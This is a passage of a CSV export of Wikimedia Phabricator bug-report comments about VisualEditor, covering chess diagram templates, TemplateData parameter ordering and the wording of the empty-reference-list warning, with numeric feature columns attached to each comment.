------------------------------------------------",,,1375137900,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-73q6sosb7r2syig35llq,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.5,0.5,6.5,4.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.5,1.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.5,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,10.5,1.0,1.5,3.5,0.0,0.0,0.0,0.0,2.0,0.5,0.5,0.0,2.5,4.5,15.0,0.0,0.0,0.0,2.5,0.0,1.0,0.5,0.0,1.0,0.0,0.0,1.0,4.559035409035409,0.595970695970696,"Hmm .. strange.  When I copied both forms of the syntax into a file and parse it with Parsoid, the html renders just fine.  Curious why it breaks in VE however.

Verifiable here: URL

Paste this there and scroll down past the literal html and you'll see this rendered correctly there.

------------------------------------------------
{{Infobox chess opening
|openingname = French Defence
|image = {{Chess diagram|=
|
|
|=
  |rd|nd|bd|qd|kd|bd|nd|rd|=
  |pd|pd|pd|pd|  |pd|pd|pd|=
  |  |  |  |  |pd|__|__|__|=
  |  |  |__|  |__|__|__|__|=
  |  |  |__|  |pl|__|__|__|=
  |  |  |__|__|__|__|__|__|=
  |pl|pl|pl|pl|__|pl|pl|pl|=
  |rl|nl|bl|ql|kl|bl|nl|rl|=
|
}}
|moves=1.e4 e6
|ECO=C00–C19
|birth =
|nameorigin = London vs. Paris correspondence match (1834–36)
|parentopening = [[King's Pawn Game]]
|AKA =
|chessgid=39913&move=2&moves=e4.e6&nodes=21720.39913
}}
------------------------------------------------"
252335,VisualEditor: CSS munging causing absolutely-positioned chess diagrams(?) to break,"An alternative 'pretty' syntax that doesnt cause breakages is:

https://de.wikipedia.org/w/index.php?title=Edward_Lasker&diff=120835751&oldid=120194113

The html comments are visible in the parameters of the template dialog, but it stops the dirty diffs if this |= syntax is not desirable.",,,1374655563,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-73q6sosb7r2syig35llq,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,2.0,9.0,5.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,21.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,12.0,7.0,7.0,2.0,2.0,14.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,5.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.023255813953488,0.8604651162790697,"An alternative 'pretty' syntax that doesnt cause breakages is:

URL

The html comments are visible in the parameters of the template dialog, but it stops the dirty diffs if this |= syntax is not desirable."
53930,VisualEditor: Template parameters should be in TemplateData recommended order,"Several users on the English Wikipedia, most recently Salix, have requested that the parameters for templates should be in the recommended order not alphabetical order. 

For example in {{tracklist}} it lists ""Track10"" before ""Track2"", and in the various citation templates, ""First"" and ""Last"" should be adjacent.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1374654480,1389755241.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-3r7ax46g5ehieydsuuvm,task_description,resolved,True,c1,3,False,False,False,3,,1.0,0.0,0.0,0.0,1.0,7.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,1.0,5.0,0.0,1.0,0.0,0.0,1.0,11.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,13.0,1.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,10.0,6.0,0.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.156626506024097,0.6024096385542169,"Several users on the English Wikipedia, most recently Salix, have requested that the parameters for templates should be in the recommended order not alphabetical order. 

For example in {{tracklist}} it lists ""Track10"" before ""Track2"", and in the various citation templates, ""First"" and ""Last"" should be adjacent.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
252261,VisualEditor: Template parameters should be in TemplateData recommended order,"Change 107428 merged by jenkins-bot:
Use paramOrder data for ordering template parameters

https://gerrit.wikimedia.org/r/107428",,,1389754734,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3r7ax46g5ehieydsuuvm,task_subcomment,,True,c1,3,False,,,28,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.055555555555555,1.0,"Change 107428 merged by jenkins-bot:
Use paramOrder data for ordering template parameters

GERRIT_URL"
252260,VisualEditor: Template parameters should be in TemplateData recommended order,"Change 107428 had a related patch set uploaded by Trevor Parscal:
Use paramOrder data for ordering template parameters

https://gerrit.wikimedia.org/r/107428",,,1389730796,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3r7ax46g5ehieydsuuvm,task_subcomment,,True,c1,3,False,,,28,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,23.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.181818181818182,1.0,"Change 107428 had a related patch set uploaded by Trevor Parscal:
Use paramOrder data for ordering template parameters

GERRIT_URL"
252257,VisualEditor: Template parameters should be in TemplateData recommended order,Resolved in Ic3eb665389380c8e3dd6562b059c2f6655a22588,,,1389730752,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-3r7ax46g5ehieydsuuvm,task_subcomment,,True,c1,3,False,,,28,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,Resolved in Ic3eb665389380c8e3dd6562b059c2f6655a22588
252254,VisualEditor: Template parameters should be in TemplateData recommended order,"After filling/testing a couple of templates in ca.wikipedia.org, it looks like the current behavior is the following:

* Required fields are sorted by the order they are listed in the template data.
* Optional files are sorted alphabetically.

Please sort everything following the same sequence used in the template data. Usually this is the same order used in the ""old"" documentation, which in turn tends to follow the order in which the information is presented.",,,1386640799,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-3r7ax46g5ehieydsuuvm,task_subcomment,,True,c1,3,False,,,23,,0.0,1.0,0.0,4.0,0.0,7.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,9.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,1.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,17.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,7.0,6.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,2.0,12.0,1.0,0.0,2.0,0.0,2.0,0.0,2.0,1.0,0.0,3.0,0.0,0.0,0.0,4.415730337078652,0.6179775280898876,"After filling/testing a couple of templates in ca.wikipedia.org, it looks like the current behavior is the following:

* Required fields are sorted by the order they are listed in the template data.
* Optional files are sorted alphabetically.

Please sort everything following the same sequence used in the template data. Usually this is the same order used in the ""old"" documentation, which in turn tends to follow the order in which the information is presented."
252251,VisualEditor: Template parameters should be in TemplateData recommended order,"The dependency has been fixed.

Is the importance of this still ""Low enhancement""?",,,1384434926,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-3r7ax46g5ehieydsuuvm,task_subcomment,,True,c1,3,True,,,19,,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9444444444444446,0.9444444444444444,"The dependency has been fixed.

Is the importance of this still ""Low enhancement""?"
252246,VisualEditor: Template parameters should be in TemplateData recommended order,*** Bug 53891 has been marked as a duplicate of this bug. ***,,,1380655447,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-3r7ax46g5ehieydsuuvm,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 53891 has been marked as a duplicate of this bug. ***
252242,VisualEditor: Template parameters should be in TemplateData recommended order,"(In reply to comment #4)
> There is a good case for imposing some ordering on the template parameters.
> Often you find some parameters naturally group together. Take for example
> http://en.wikipedia.org/wiki/Template:Infobox_single/doc There are various
> parameters which group together:
> *Ones relating to the image (Cover, Alt, Caption and Border)
> *Ones to do with the single chronology (Last single, This single, Next
> single)
> for infoboxes a prefered order would generally be the order they appear in
> the
> template.

Yeah, that sounds a totally reasonable thing to add. Making a bug now…",,,1377903725,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3r7ax46g5ehieydsuuvm,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,29.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,3.111111111111111,0.5555555555555556,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yeah, that sounds a totally reasonable thing to add. Making a bug now…"
252238,VisualEditor: Template parameters should be in TemplateData recommended order,"There is a good case for imposing some ordering on the template parameters. Often you find some parameters naturally group together. Take for example http://en.wikipedia.org/wiki/Template:Infobox_single/doc There are various parameters which group together:
*Ones relating to the image (Cover, Alt, Caption and Border)
*Ones to do with the single chronology (Last single, This single, Next single)
for infoboxes a prefered order would generally be the order they appear in the template.",,,1377903377,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-3r7ax46g5ehieydsuuvm,task_subcomment,,True,c1,3,False,,,8,,2.0,0.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,6.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,8.0,3.0,16.0,0.0,1.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,9.0,5.0,0.0,0.0,0.0,2.0,0.0,1.0,2.0,0.0,2.0,0.0,0.0,0.0,4.218390804597701,0.6551724137931034,"There is a good case for imposing some ordering on the template parameters. Often you find some parameters naturally group together. Take for example URL There are various parameters which group together:
*Ones relating to the image (Cover, Alt, Caption and Border)
*Ones to do with the single chronology (Last single, This single, Next single)
for infoboxes a prefered order would generally be the order they appear in the template."
252234,VisualEditor: Template parameters should be in TemplateData recommended order,"There is no such thing as ""TemplateData recommended order""; the JSON block is unordered and can't be relied upon. Does this imply that we should have a ""parameter order"" value for TemplateData?",,,1377900547,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3r7ax46g5ehieydsuuvm,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,2.0,2.0,5.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,2.0,10.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,12.0,5.0,2.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,10.0,8.0,2.0,10.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.05,0.85,"There is no such thing as ""TemplateData recommended order""; the JSON block is unordered and can't be relied upon. Does this imply that we should have a ""parameter order"" value for TemplateData?"
252230,VisualEditor: Template parameters should be in TemplateData recommended order,"Another example is [[pl:Template:Związek chemiczny infobox]] on pl.wp (infobox for chemical compounds) which has a lot of parameters which should be shown together, but which are not always alphabetically one after another. These groups are for example:

* gęstość + gęstość źródło + stan skupienia w podanej g + g warunki niestandardowe (density, source for density, state of matter for this density, non-standard environment conditions for the density)
* rozpuszczalność w wodzie + rww źródło + rww warunki niestandardowe (solubility in water, source, non-standard environment conditions)",,,1375226159,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-3r7ax46g5ehieydsuuvm,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.5,0.5,6.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.5,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,1.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.5,2.0,2.0,0.0,4.0,5.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,7.0,16.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,1.5,4.447368421052632,0.6842105263157895,"Another example is [[pl:Template:Związek chemiczny infobox]] on pl.wp (infobox for chemical compounds) which has a lot of parameters which should be shown together, but which are not always alphabetically one after another. These groups are for example:

* gęstość + gęstość źródło + stan skupienia w podanej g + g warunki niestandardowe (density, source for density, state of matter for this density, non-standard environment conditions for the density)
* rozpuszczalność w wodzie + rww źródło + rww warunki niestandardowe (solubility in water, source, non-standard environment conditions)"
252226,VisualEditor: Template parameters should be in TemplateData recommended order,"An example of this is {{Taxobox}} which has 100+ parameters. There are about 10 recommended parameters which go at the top the list and the rest of the parameters have a strict ordering depending on taxonomic hierarchy. Kingdom, Phylum, Class,	Order, Family, Subfamily, Genus, Species. An example of use is http://en.wikipedia.org/wiki/Formica which gives the fields in a confusing alphabetial order (latin names are used for the fields).

A second problem is the order when no templatedata is specified. In the article http://en.wikipedia.org/wiki/Where_Does_This_Door_Go?veaction=edit
if you open up the dialog for the {{tracklist}} the parameters are listed in the order track1, track10, track11 ... track15 track2 track3 ... track9. Ideally they would be in strict numerical ordering. This would require a smarter sorting algorithm than just alphabetical. 

Another note is that case insensitive sort is better than case sensitive sort as templates often have the same parameter with different capitalization, 'Image' and 'image'.",,,1374674837,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-3r7ax46g5ehieydsuuvm,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,1.5,0.0,7.5,2.0,0.0,0.0,0.5,2.5,2.0,0.0,0.0,0.5,0.0,0.0,3.0,9.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,7.5,0.5,0.0,0.0,0.5,0.0,0.5,0.0,4.0,0.5,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,21.5,1.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.5,9.5,5.0,10.0,1.5,1.0,13.5,0.0,0.0,0.0,0.0,1.0,0.0,1.5,0.0,1.0,9.5,5.0,0.0,2.0,0.0,1.0,0.0,2.0,3.0,0.0,1.0,1.0,0.0,0.0,4.186618141097425,0.7091825307950728,"An example of this is {{Taxobox}} which has 100+ parameters. There are about 10 recommended parameters which go at the top the list and the rest of the parameters have a strict ordering depending on taxonomic hierarchy. Kingdom, Phylum, Class,	Order, Family, Subfamily, Genus, Species. An example of use is URL which gives the fields in a confusing alphabetial order (latin names are used for the fields).

A second problem is the order when no templatedata is specified. In the article URL
if you open up the dialog for the {{tracklist}} the parameters are listed in the order track1, track10, track11 ... track15 track2 track3 ... track9. Ideally they would be in strict numerical ordering. This would require a smarter sorting algorithm than just alphabetical. 

Another note is that case insensitive sort is better than case sensitive sort as templates often have the same parameter with different capitalization, 'Image' and 'image'."
53873,VisualEditor: Warning for blank reference list is confusing,"Removing the last reference on a page, with <references/> present, causes the waring:

There are no references with the group """" on this page.

That should be 

There are no references on this page.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1374580740,1380747863.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-sl6ozzm6vdvlvv4lpkc6,task_description,resolved,True,c1,3,False,False,False,3,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,10.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,3.0,3.873015873015873,0.5555555555555556,"Removing the last reference on a page, with <references/> present, causes the waring:

There are no references with the group """" on this page.

That should be 

There are no references on this page.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
248542,VisualEditor: Warning for blank reference list is confusing,"Change 86656 merged by jenkins-bot:
Add specific message for empty ref group list

https://gerrit.wikimedia.org/r/86656",,,1380747909,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sl6ozzm6vdvlvv4lpkc6,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.315789473684211,1.0,"Change 86656 merged by jenkins-bot:
Add specific message for empty ref group list

GERRIT_URL"
248538,VisualEditor: Warning for blank reference list is confusing,"Change 86656 had a related patch set uploaded by Esanders:
Add specific message for empty ref group list

https://gerrit.wikimedia.org/r/86656",,,1380577840,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sl6ozzm6vdvlvv4lpkc6,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.545454545454546,1.0,"Change 86656 had a related patch set uploaded by Esanders:
Add specific message for empty ref group list

GERRIT_URL"
248534,VisualEditor: Warning for blank reference list is confusing,"I agree with John: Most pages dont used grouped references. It would be much more intuitive to say that there are no references at all. Several users in the Hebrew Wikipedia complained about it, and I imagine that it's the same in all languages.",,,1374823191,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-sl6ozzm6vdvlvv4lpkc6,task_subcomment,,True,c1,3,False,,,3,,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,10.0,16.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,2.0,6.0,6.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,10.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,16.0,4.0,2.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,10.0,16.0,6.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,3.9607843137254903,0.8235294117647058,"I agree with John: Most pages dont used grouped references. It would be much more intuitive to say that there are no references at all. Several users in the Hebrew Wikipedia complained about it, and I imagine that it's the same in all languages."
248530,VisualEditor: Warning for blank reference list is confusing,"In the use-case for this bug, there are no references of any group, so why mention groups at all.  IMO the UI shouldnt talk about groups unless it is necessary.  Most pages dont used grouped references.",,,1374612826,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-sl6ozzm6vdvlvv4lpkc6,task_subcomment,,True,c1,3,False,,,3,,4.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,15.0,13.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,19.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,9.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,13.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.5531914893617023,0.8297872340425532,"In the use-case for this bug, there are no references of any group, so why mention groups at all.  IMO the UI shouldnt talk about groups unless it is necessary.  Most pages dont used grouped references."
248524,VisualEditor: Warning for blank reference list is confusing,"(In reply to comment #0)
> Removing the last reference on a page, with <references/> present, causes the
> waring:
> 
> There are no references with the group """" on this page.
> 
> That should be 
> 
> There are no references on this page.

No. You can have dozens of <ref group=""foo"">s and no <ref>s and get that message.

Perhaps a special-case of ""There are no references without a group on this page."" for the null-group instance?",,,1374591288,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sl6ozzm6vdvlvv4lpkc6,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,18.0,0.0,3.0,10.0,0.0,0.0,0.0,1.0,4.0,0.0,3.0,0.0,1.0,10.0,10.0,1.0,3.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,4.0,3.1780821917808217,0.6438356164383562,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

No. You can have dozens of <ref group=""foo"">s and no <ref>s and get that message.

Perhaps a special-case of ""There are no references without a group on this page."" for the null-group instance?"
53864,VisualEditor: Allow per-wiki/-namespace disabling of formatting styles e.g. page title,"On the English Wikipedia the page title formatting level is never used in article space, although I understand it is used on some other wikis. It might be that other wikis do not use a dfferent page style.

Accordingly it would be nice to be able to remove/suppress/disable this item from the list on a per namespace (or, less ideally, per wiki) to avoid confusion to new editors. 

Unless this is absolutely trivial to implement, please regard it as a low priority enhancement request.

--------------------------
**Version**: unspecified
